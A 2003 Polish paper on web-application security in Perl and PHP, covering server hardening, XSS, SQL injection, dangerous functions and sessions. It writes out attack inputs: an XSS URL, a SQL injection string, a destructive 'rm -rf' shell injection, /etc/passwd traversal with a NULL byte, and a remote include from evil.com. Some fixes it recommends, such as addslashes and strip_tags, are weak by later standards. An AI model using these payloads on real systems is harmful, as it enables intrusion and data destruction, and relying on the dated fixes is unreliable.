

Bezpieczeństwo aplikacji opartych o język skryptów Perl i PHP

Przemysław Frasunek

8 maja 2003 roku

1 Wstęp

W pewnym momencie usługi ofertowane przez statyczne strony WWW przestały być wystarczające. Powstały różne pomysły na generowanie dynamicznych treści, zarówno po stronie serwera (CGI, SSI, PHP, JSP, Java Servlet, ASP), jak i po stronie klienta (JavaScript, ActiveX, VBScript, Java).

W chwili obecnej, największą¹ popularnością cieszy się język skryptowy PHP, będący „syntezą” najlepszych cech Perla i C++. Swoją popularność zawdzięcza głównie wydajności i łatwości, z jaką można go opanować. Niestety, PHP wslawił się także dość niskim stopniem bezpieczeństwa; dotyczy to zarówno ilości błędów w samym interpreterze, jak i łatwości popełnienia krytycznego dla bezpieczeństwa błędu przez niedoświadczonych programistów.

Starszy brat PHP, Perl jest obecnie rzadziej używany do tworzenia dynamicznych stron WWW, natomiast w dalszym ciągu wiede prym wśród administratorów i programistów systemowych, którzy z wielką chęcią wykorzystują Perla, zarówno do tworzenia prostych skryptów wykonujących uciążliwe, codziennie czynności administracyjne, jak i do większych projektów, których głównym celem jest zarządzanie, analizowanie i przetwarzanie dużej ilości danych tekstowych. Niestety, podobnie jak w przypadku PHP, ogromne możliwości Perla wpływają także na jego bezpieczeństwo. Nieświadome popełnienie krytycznego błędu podczas pisania aplikacji w Perlu jest dość prawdopodobne.

Referat opisuje zagadnienia bezpieczeństwa aplikacji w językach skryptowych Perl i PHP, dotyczy zaś przede wszystkim środowiska UNIX i darmowego serwera WWW Apache 1.3.x.

1.1 Perl — wprowadzenie

Perl jest wydajnym i potężnym obiektowym językiem skryptowym stworzonym przez Larry’ego Wall’a w 1987 r., który łączy w sobie najbardziej użyteczne cechy języka C oraz skryptów sed, awk i sh. Obecna wersja to 5.8.0, prawdopodobnie ostatnia z gałęzi Perl5, działa ona na większości dostępnych systemów operacyjnych (zarówno z rodziny UNIX, jak i Windows) i jest dostępna za darmo² do dowolnego użytkownika, wraz z pełnym kodem źródłowym. Interpreter Perla napisany jest w języku C.

Potęga Perla wiąże się z ogromną³ ilością gotowych modułów, skatalogowanych w CPAN (ang. *Comprehensive Perl Archive Network*) i dostępnych dla każdego za darmo, wraz z kodem źródłowym.

Zastosowanie języka Perl do budowania dynamicznych stron WWW obejmuje przede wszystkim różnorakie przetwarzanie danych otrzymanych od użytkownika, przekazywanie ich do innych aplikacji, a także wykonywanie operacji na bazach danych, za pośrednictwem modułów DBI.

Aplikacje napisane w Perlu mogą być uruchamiane zarówno tradycyjnie, za pomocą osobnej kopii interpretera dla każdego wywołania skryptu, jak i w bardziej wydajny sposób — wewnętrznie przez sam serwer, za pośrednictwem modułu mod_perl.

1.2 PHP — wprowadzenie

PHP jest wydajnym i stosunkowo prostym językiem skryptowym, zbliżonym do Perla i C++. Obecna wersja to PHP 4.3.1, dostępna jako moduł DSO do serwera Apache lub jako samodzielny interpreter

¹prawie 12 mln domen, utrzymywanych na 1,3 mln adresów IP, źródło: <http://www.php.net>

²na mocy licencji „artystycznej”, zbliżonej do GNU GPL

³obecnie ponad 4600, źródło: <http://www.cpan.org>

działający na systemach z rodziny UNIX i Windows. PHP rozpowszechniane jest na zasadach „PHP License”⁴.

Pierwsza wersja PHP (zwana wówczas PHP/FI) została napisana w 1995 r. przez Rasmusa Lerdorfa i stanowiła prosty zbiór skryptów w Perlu, ułatwiających tworzenie dynamicznych stron WWW. Wkrótce PHP/FI zostało napisane od nowa w języku C i przemianowane na PHP3. Dalsze prace polegały na całkowitym przepisaniu „silnika”, nazwanego wówczas Zend i opublikowaniu go jako część nowego pakietu PHP4.

PHP, podobnie jak ASP i JSP działa na zasadzie wstawek wewnątrz dokumentu HTML, które są interpretowane i wykonywane po stronie serwera podczas odczytywania strony WWW.

Podobnie jak w przypadku CPAN, również dla PHP istnieje publiczne, wolne archiwum modułów, pozwalających na rozszerzenie funkcjonalności interpretera, dostępne pod adresem: <http://pear.php.net>.

1.3 Koncepcja bezpiecznego serwera

Bezpieczeństwo serwera WWW i aplikacji uruchamianych z jego poziomu w dużej mierze zależy od bezpieczeństwa samego systemu operacyjnego oraz innych serwisów pracujących w obrębie tej samej maszyny. Przy wyborze gatunku systemu operacyjnego kierować się należy przede wszystkim dotychczasową historią bezpieczeństwa, z uwzględnieniem: ilości błędów odnalezionych w poprzednich latach i szybkości reakcji producenta na opublikowany raport o błędzie. Do kluczowych elementów oceny należy także stopień komplikacji systemu operacyjnego — im więcej zainstalowanych domyślnie pakietów i aktywnych usług, tym bardziej czasochłonne jest zabezpieczanie serwera, bowiem wyłączenie niepotrzebnych usług i deinstalacja pakietów są podstawowym krokiem przy sporządzaniu bezpiecznej konfiguracji serwera.

Kolejnym ważnym elementem jest wybór aplikacji realizującej funkcję serwera WWW. Obecnie, najbardziej rozpowszechniony⁵ jest serwer Apache, pochodzący bezpośrednio od NCSA httpd, rozwijany jako darmowy i otwarty projekt. Jego historia bezpieczeństwa, choć nie jest idealna, stawia go daleko przed największymi konkurentami, takimi jak MS IIS. Apache pracuje zarówno na platformie UNIX, jak i Win32, co w połączeniu z bardzo dużą wydajnością, elastycznością i modularnością czyni go jednym z najlepszych serwerów WWW dostępnych na rynku.

Ostatnim krokiem jest wybór platformy generującej dynamiczne elementy stron WWW. Wybór dostępnych rozwiązań jest bardzo duży, tak więc postaram się scharakteryzować kilka najbardziej powszechnych koncepcji:

- okresowe generowanie statycznych stron WWW w oparciu o dynamiczne szablony — rozwiązanie najlepsze pod względem bezpieczeństwa i wydajności, zakłada brak jakiegokolwiek interakcji ze strony użytkownika serwisu WWW, statyczne strony generowane są okresowo przy pomocy szablonów ze wstawkami kodu; przykładowym narzędziem, które poleca autor jest WML⁶
- mało i średnio skomplikowane serwisy WWW i portale, wymagające reagowania na dane przesyłane przez użytkownika — rozwiązanie najczęściej stosowane o zadowalającej wydajności i bezpieczeństwie bardzo zależnym od jakości uruchamianych skryptów; zazwyczaj używane narzędzia to Perl, PHP, ASP wraz z lokalnym serwerem SQL; aby zminimalizować ilość kodu wykonywanego dynamicznie, autor zaleca równoczesne stosowanie narzędzi typu WML, generujących kod w PHP/Perlu na podstawie wcześniej przygotowanego szablonu
- duże i złożone portale i specjalistyczne aplikacje (np. e-banki) — najczęściej stosowanym rozwiązaniem jest połączenie Servletów i JSP, ze względu na duże możliwości i elastyczność aplikacji pisanych w Javie, dostępność dużej liczby gotowych rozwiązań oraz wysoki stopień bezpieczeństwa i zadowalającą wydajność; rozwiązanie to zazwyczaj obejmuje zewnętrzny serwer SQL oraz dedykowany serwer aplikacji

Rozwiązaniem stosowanym przez autora najczęściej jest następująca konfiguracja:

- system operacyjny FreeBSD⁷ — darmowy, bezpieczny, wydajny system z rodziny BSD UNIX

⁴treść licencji dostępna pod adresem <http://www.php.net/license/2.02.txt>, zbliżona do GNU GPL

⁵ok. 62% wszystkich serwerów WWW, źródło: <http://www.netcraft.com>

⁶<http://thewml.org>

⁷<http://www.freebsd.org>

- serwer WWW — Apache 1.3.x
- dynamiczne strony — PHP + mod_php lub PHP + CGI + SuEXEC⁸ (w zależności od żądanego stopnia bezpieczeństwa i wydajności), ewentualnie Perl + mod_perl lub Perl + CGI + SuEXEC; w przypadku konieczności uruchamiania aplikacji w Javie, także serwer aplikacji Apache Tomcat
- własne koncepcje bezpiecznej konfiguracji i rozszerzenia bezpieczeństwa⁹

2 Bezpieczeństwo poszczególnych usług

2.1 Serwer WWW

W chwili pisania referatu, aktualną wersją Apache jest 1.3.27. Wersje wcześniejsze niż 1.3.26 posiadają poważne błędy, pozwalające na zdalne wykonywanie kodu z prawami użytkownika, który uruchomił serwer WWW i zdecydowanie nie powinny być używane.

W przypadku stosowania szyfrowania SSL należy zadbać o aktualizację biblioteki OpenSSL przynajmniej do wersji 0.9.6j, poprzednie wersje posiadają szereg słabości kryptograficznych, pozwalających na częściowe ujawnienie szyfrogramu w sprzyjających okolicznościach. Wersje starsze niż 0.9.6e są podatne na zdalne przepełnienie bufora, dotyczące wszystkich aplikacji korzystających z funkcjonalności SSL i pozwalające na zdalne wykonanie kodu z prawami administratora.

Serwer WWW powinien działać z prawami odrębnego użytkownika, który *nie* jest właścicielem żadnych plików, w szczególności logów i dokumentów HTML. Nie powinien to być także użytkownik *nobody*, co jest powszechne w wielu instalacjach.

Zasadne może być zastosowanie mechanizmu *jail* (FreeBSD) lub *chroot* (OpenBSD¹⁰, Linux, pozostałe systemy UNIX) w celu odseparowania serwera WWW od reszty systemu i ograniczenia skutków ewentualnego ataku.

2.2 PHP

Historia bezpieczeństwa PHP pozostawia dość wiele do życzenia. Praktycznie wszystkie dotychczasowe wersje podatne były na różne zdalne ataki, z których dwa najpoważniejsze dotyczyły wersji poniżej 4.2.2 i pozwalały na zdalne przejście uprawnień, z którymi działał serwer WWW.

Dodatkowo, wszystkie wersje PHP poniżej 4.1.0 stosują domyślnie włączony mechanizm `register_globals`, pozwalający w wielu wypadkach na ominięcie niewłaściwie skonstruowanych mechanizmów autoryzacji na poziomie skryptów.

Jeżeli administrator chce umożliwić lokalnym użytkownikom publikowanie stron w PHP, konieczne jest wykonywanie skryptów za pomocą zewnętrznego interpretera PHP, uruchamianego za pomocą mechanizmu SuEXEC. W przeciwnym wypadku, każdy lokalny użytkownik, mający możliwość publikacji skryptu PHP może wywoływać dowolny kod z prawami serwera WWW. Należy podkreślić, że interpretowanie skryptów PHP na zewnątrz serwera WWW powoduje drastyczny spadek wydajności, dlatego autor poleca rozdzielenie usług „strony WWW użytkowników” i „główny serwis WWW” pomiędzy minimum dwa różne serwery.

2.3 Perl

W przeciwieństwie do PHP, interpreter Perl posiadał w swojej historii tylko jeden poważny błąd zagrażający bezpieczeństwu, dotyczył on jednak tylko aplikacji `suidperl`, która w normalnej praktyce administratora WWW jest używana nadzwyczaj rzadko.

Domyślnym i zalecanym sposobem wywoływania skryptów Perl jest zewnętrzny interpreter w połączeniu z SuEXEC. W niektórych przypadkach, gdzie wymagana jest wysoka wydajność stosowany jest moduł `mod_perl`, będący funkcjonalnym odpowiednikiem `mod_php`. Podkreślić należy, że nie wszystkie aplikacje będą wykonywane poprawnie w środowisku `mod_perl`, również ze względów opisanych powyżej, nie należy zezwalać lokalnym użytkownikom na korzystanie z tego modułu.

⁸aplikacja będąca częścią Apache, pozwalająca na zmianę uprawnień tuż przed wykonaniem konkretnego skryptu

⁹np. moduł kernela `rexec` lub `Cerber` — <http://www.sourceforge.net/projects/cerber>

¹⁰Apache znajdujący się w domyślnej instalacji OpenBSD jest przystosowany do pracy w środowisku *chroot* i w takim trybie jest uruchamiany domyślnie

3 Bezpieczne kodowanie

3.1 Ataki typu XSS

Ataki typu *cross site scripting* polegają na przemyceniu kodu JavaScript lub VBScript do przeglądarki użytkownika, odwiedzającego daną stronę. Pozwala to na ujawnienie danych zapisanych w ciasteczkach, co w wielu przypadkach umożliwia „podszywanie” się pod zarejestrowanego i zalogowanego użytkownika. Kod „złego” skryptu może być przekazany np. przez forum na stronie, czy w postaci URLa wysłanego do użytkownika.

Zapobieganie polega na filtrowaniu zmiennych przekazywanych przez użytkownika do każdego skryptu, tak aby niemożliwe było przesłanie jakiegokolwiek kodu HTML. W PHP jest to możliwe za pomocą funkcji `strip_tags()`.

Oto przykład podatnego skryptu PHP:

```
<?php echo $zmienna; ?>
```

oraz sposób wykorzystania:

```
http://www.host.com/skrypt.php?zmienna=<script>alert('test');</script>
```

Po wywołaniu powyższego odnośnika, przeglądarka użytkownika wykona załączony fragment kodu JavaScript, co spowoduje otwarcie okienka z napisem „test”.

Poprawiony fragment kodu powinien wyglądać następująco:

```
<?php echo strip_tags($zmienna); ?>
```

W przypadku Perla problem ten można rozwiązać za pomocą odpowiedniego wyrażenia regularnego, nie istnieje gotowa funkcja realizująca tą czynność.

3.2 Ataki typu SQL injection

Dotyczą one aplikacji korzystających z baz danych i przyjmujących dane wejściowe od użytkownika. Polegają na możliwości przemycenia części zapytania SQL jako argument do innego zapytania SQL. Pozwalają na ujawnienie danych z bazy, czasami także na ich usunięcie.

Zapobieganie polega na filtrowaniu przekazywanych przez użytkownika zmiennych, w PHP służy do tego funkcja `addslashes()`, wstawiająca ukośnik przed każdy potencjalnie niebezpieczny znak.

Oto przykład podatnego skryptu PHP:

```
<?php
mysql_query("SELECT * FROM tabela WHERE id='$zmienna'");
?>
```

W powyższym przykładzie `$zmienna` dostarczana jest przez użytkownika z zewnątrz. Może on zastosować poniższe zapytanie, aby spowodować wyświetlenie wszystkich rekordów z bazy:

```
http://www.host.com/skrypt.php?zmienna='OR 1;'
```

Poprawnie napisany fragment kodu powinien wyglądać następująco:

```
<?php
$zmienna_ok = addslashes($zmienna);
mysql_query("SELECT * FROM tabela WHERE id='$zmienna_ok'");
?>
```

W języku Perl należy zastosować odpowiednie wyrażenie regularne, poprzedzające ukośnikiem każdy znak, który stanowi składnik języka SQL.

3.3 Niebezpieczne funkcje i znaki

3.3.1 Perl

Stosowanie niektórych funkcji w Perlu z argumentami pobranymi od użytkownika może spowodować duże zagrożenie bezpieczeństwa skryptu. Przykładami takich funkcji są:

- `system()` oraz `‘‘` — użytkownik może wywołać dowolną komendę systemową używając metaznaków powłoki (średnik, cudzysłowy); przykład: `system("/sbin/ping $host");` — użytkownik może podłożyć łańcuch `;rm -rf /var/www;` nie należy przekazywać niefiltrowanych zmiennych użytkownika do wnętrza funkcji `system()`.
- `open()` — użytkownik może otworzyć lub zapisać dowolny plik, a także wykonać dowolną komendę systemową (przy pomocy znaku `|`); przykład: `open(FH "/home/venglin/$plik");` — użytkownik może podłożyć łańcuch `../../../../etc/passwd;` nie należy przekazywać niefiltrowanych zmiennych użytkownika do wnętrza funkcji `open()`.
- `eval()` — użytkownik może wykonać dowolny fragment kodu w Perlu; nie należy przekazywać niefiltrowanych zmiennych użytkownika do wnętrza konstrukcji `eval()`.
- `glob()` — użytkownik może wywołać dowolną komendę systemową, używając metaznaków powłoki; należy używać funkcji `readdir()`

W przypadku uruchamiania jakichkolwiek skryptów CGI w Perlu, zalecane jest uaktywnienie *taint mode*, funkcjonalność ta przeprowadza szereg prostych testów przed wykonaniem niebezpiecznych funkcji i uniemożliwia przekazanie do nich niezmiennych danych użytkownika. *Taint mode* może włączyć przy pomocy przełącznika `-T`¹¹.

Kolejną rzeczą wartą podkreślenia jest fakt, że wszystkie funkcje łańcuchowe Perla kończą swoje działanie, gdy napotkają znak `NULL`. Może to w pewnych warunkach stanowić zagrożenie; rozważmy następujący przykład: administrator pragnąc uniemożliwić użytkownikowi przeczytanie jakiegokolwiek innego pliku niż `.html` zastosował następującą konstrukcję:

```
open(FH, "< /home/venglin/$plik.html");
```

Niestety, ograniczenie to może zostać ominięte w bardzo prosty sposób, przez przekazanie znaku `NULL`:

```
http://www.host.com/cgi-bin/skrypt.pl?plik=../../../../etc/passwd%00
```

3.3.2 PHP

Podobnie jak Perl, również język PHP zawiera szereg funkcji pozwalających na potencjalny atak. Należą do nich: `system()`, `‘‘`, `eval()` i `open()`. Metodologia ataku jest praktycznie identyczna, jak w przypadku odpowiedników znanych z Perla, zapobieganie natomiast dużo łatwiejsze, ze względu na obecność gotowych funkcji realizujących typowe operacje na niebezpiecznych łańcuchach:

- `addslashes()` — dodaje odwrotny ukośnik przed znakami cudzysłówów, odwrotnego ukośnika i znaku `NULL`
- `escapeshellcmd()` — niweluje działanie wszystkich metaznaków powłoki

Warty podkreślenia jest również fakt, że PHP zezwala na otwieranie zdalnego pliku, co w wielu przypadkach może stanowić ogromne zagrożenie dla bezpieczeństwa. Rozważmy następujący fragment kodu:

```
<?php include "$file.php"; ?>
```

Powyższy fragment pozwoli nie tylko na otwarcie dowolnego pliku z rozszerzeniem `.php` w systemie, ale także na otwarcie zdalnego pliku!

```
http://www.host.com/skrypt.php?file=http://www.evil.com/evil
```

W takiej sytuacji, cały kod umieszczony przez napastnika w zdalnym pliku zostanie wykonany na atakowanym serwerze.

Duża ilość zagrożeń występujących w PHP może zostać zniwelowana poprzez włączenie `safe_mode`. Tryb ten pozwala na następujące ograniczenia

- sprawdzanie właściciela pliku przy jego otwieraniu
- odmawianie wykonania funkcji z rodziny `system()`

¹¹ogólne informacje na temat zastosowania *taint mode* można znaleźć w manualu `perlsec`

- odmawianie zmian zmiennych środowiskowych
- ograniczenie dostępu do plików tylko z wybranego katalogu
- wyłączenie wybranych funkcji

Tryb ten może zostać uaktywniony poprzez edycję pliku konfiguracyjnego `php.ini`.

3.4 Sesje HTTP

HTTP jest protokołem bezstanowym, co oznacza konieczność stworzenia własnego mechnizmu przekazywania informacji o sesji pomiędzy wywołaniami skryptów. Wymaga to utworzenia unikalnego identyfikatora sesji, który będzie dołączany jako argument każdego wywołania skryptu, a także przechowywany po stronie serwera i sprawdzany przez niego.

PHP4, w przeciwieństwie do Perla, posiada własny, wbudowany mechanizm zarządzania sesjami, pozwalający na przekazywanie identyfikatora sesji zarówno jako ciasteczko, jak i argument do skryptu.

Jednakże, w przypadku ręcznego generowania identyfikatora sesji, należy koniecznie zadbać o jego unikalność i losowość. Niedopuszczalne jest stosowanie kombinacji daty, czasu, użytkownika, numeru procesu, gdyż wszystkie te wartości są łatwe do przewidzenia. Idealnym rozwiązaniem jest pobranie kilkunastu bajtów entropii z dobrego generatora liczb losowych¹² i utworzenie z nich skrótu MD5, który może zostać wykorzystany jako identyfikator sesji.

3.5 Zarządzanie zmiennymi

We wszystkich wersjach PHP poniżej 4.1.0, każda niezainicjalizowana zmienna mogła zostać przysłonięta przez napastnika z zewnątrz. W późniejszych wersjach to zachowanie zostało zmienione — zmienne przekazywane z zewnątrz są przetrzymywane w osobnej tablicy asocjacyjnej, nie są zaś mapowane na globalne zmienne języka. Funkcjonalność ta jest kontrolowana za pomocą dyrektywy `register_globals` umieszczonej w pliku konfiguracyjnym `php.ini`.

Stosowanie globalnych zmiennych inicjowanych wartościami z zewnątrz stwarzało zagrożenie w przypadku niewłaściwie skonstruowanych pętli i warunków. PHP nie wymaga jawnego inicjowania zmiennych, tak więc w specyficznych sytuacjach możliwe było ominięcie błędnie skonstruowanego mechanizmu autoryzacji.

Karygodnym błędem jest także przekazywanie ważnych zmiennych pomiędzy sesjami za pomocą pól `hidden` formularza, które mogą zostać bez problemu zmienione. Podręcznikowym przykładem jest tutaj zastosowanie pól `hidden` do przekazywania ceny produktu w elektronicznym sklepie.

4 Rady na zakończenie

- praktyka pokazuje, że Perl jest bezpieczniejszy niż PHP, natomiast łatwiej w nim popełnić rażące błędy
- użytkownicy, mający dostęp do PHP i/lub CGI często umieszczają duże ilości błędnego i źle zabezpieczonego kodu
- PHP i Perl przez CGI i SuEXEC są mało wydajne, ale praktycznie nieodzowne na serwerach udostępniających konta dla użytkowników; interpretery powinny być umieszczone poza katalogami dostępnymi przez WWW
- jeśli używasz gotowych bibliotek i skryptów, sprawdź wcześniej ich historię bezpieczeństwa¹³, upewnij się także, że posiadasz najnowsze wersje

Tematyka bezpiecznego programowania jest stosunkowo trudna i wymaga dużego nakładu pracy na wyrobienie właściwych nawyków i analizę pisanego kodu. Dlatego też, w chwili obecnej błędy w aplikacjach WWW stanowią większość raportów wysyłanych na listę dyskusyjną BUGTRAQ.

¹²w przypadku systemów z rodziny UNIX, urządzenie `/dev/random` zazwyczaj zapewnia losowość wysokiej jakości

¹³np. w archiwach listy dyskusyjnej BUGTRAQ — <http://www.securityfocus.com/>